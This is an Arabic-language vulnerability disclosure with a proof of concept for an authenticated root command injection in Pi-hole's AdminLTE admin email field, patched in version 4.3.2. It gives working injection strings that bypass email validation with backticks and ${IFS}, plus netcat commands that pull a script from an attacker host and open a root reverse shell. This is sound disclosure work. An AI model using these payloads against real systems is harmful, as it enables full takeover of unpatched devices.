
يحتوي إصدار Pi-Hole 4.3.2 على تصحيح لهذه الثغرة: https://github.com/pi-hole/AdminLTE/pull/974
شكر كبير لفريق تطوير Pi-Hole لمشروعهم الرائع ولتسهيلهم الإبلاغ عن هذه الثغرة!
من الممكن الحصول عن بُعد على وصول بصلاحيات root على جهاز RaspberyPi (أو أي جهاز/VM يعمل عليه التطبيق) من خلال الثغرات الموصوفة في مكوّن "AdminLTE". يتطلب استغلال ذلك وصولًا/بيانات اعتماد إدارية لواجهة الويب الخاصة بـ AdminLTE.
بتفصيل أكثر، يمكن تجاوز فحوصات التعبيرات النمطية وتلويث حقل "عنوان البريد الإلكتروني للمسؤول" بأوامر عشوائية. تُخزَّن هذه الأوامر بدورها في "/etc/pihole/setupVars.conf" ثم تُحلَّل وتُنفَّذ بصلاحيات root من مهمة cron.d التي تعمل كل 10 دقائق “/usr/local/bin/pihole updatechecker local”.
يجب على المهاجم انتظار فترة الـ 10 دقائق لمهمة cron "/etc/cron.d/pihole" من أجل تنفيذ الأوامر/الأكواد.
نأمل أن تساعد التفاصيل التالية وإثبات المفهوم (PoC) في التحقق من المشكلة وإعادة إنتاجها.
بمجرد المصادقة على تطبيق الويب، هناك بعض عمليات التحقق من جانب الخادم التي يحتاج المهاجم إلى تجاوزها لحقن أمر بنجاح.
في "savesettings.php" L:499 يتم تقييم متغير يتحكم به المستخدم "$adminemail" مقابل دالة PHP الداخلية FILTER_VALIDATE_EMAIL وهي فحوصات ضعيفة نسبيًا.
من ثم يمكن تجاوز هذا الفحص وإثبات حقن الأوامر بمجرد وضع مجموعة من علامات backtick داخل علامتي اقتباس مزدوجة، على سبيل المثال، بإدخال ما يلي كبريد إلكتروني للمسؤول:
"`test>/tmp/poc_proof.txt`"@example.com

خلال 10 دقائق، سيتم إنشاء ملف مملوك لـ root يحتوي على "test" داخل "/tmp/poc_proof.txt" بصلاحيات root.

من أجل تنفيذ أي هجمات أخرى ذات معنى، يحتاج المرء أيضًا إلى تجاوز قيود المسافات البيضاء (وهي ليست أحرفًا صالحة للبريد الإلكتروني ويتم اكتشافها بواسطة دالة FILTER_VALIDATE_EMAIL). لهذا، تم استخدام متغير لينكس الداخلي ${IFS} (الذي يكون افتراضيًا مسافة بيضاء في معظم أنظمة Unix).
PoC:
*ملاحظة: يمكن أتمتة ذلك بسطر واحد باستخدام قواعد قشرة POSIX، أي &&، || ...
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

سيبدو طلب HTTP هكذا عند فحصه عبر وكيل HTTP:

انتظر 10 دقائق حتى تعمل مهمة cron وتجلب السكريبت، أو لأغراض إعادة الإنتاج قم بتشغيل /usr/local/bin/pihole updatechecker local يدويًا. يمكنك أيضًا التحقق من الأمر المحقون الموجود في "/etc/pihole/setupVars.conf" (المعيَّن لمتغير ADMIN_EMAIL).
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
مرة أخرى انتظر 10 دقائق (أو نفّذ سكريبت cron يدويًا لأغراض إعادة إنتاج المشكلة) وستحصل على قشرة root على جهازك المهاجم.
